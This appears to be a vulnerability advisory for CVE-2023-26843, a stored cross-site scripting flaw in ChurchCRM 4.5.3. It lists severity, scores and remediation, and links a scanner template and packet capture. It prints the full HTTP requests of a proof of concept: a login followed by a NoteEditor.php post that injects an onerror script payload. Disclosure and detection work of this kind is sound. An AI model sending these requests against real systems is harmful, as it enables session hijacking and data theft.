| Title | ChurchCRM 4.5.3 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.12574 |
| CVE ID | CVE-2023-26843 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve churchcrm stored-xss xss authenticated vuln |
A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.
POST /session/begin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User=EtyBdg&Password=qksCzo
POST /NoteEditor.php?FamilyID=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26843.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26843.pcap
N/AN/A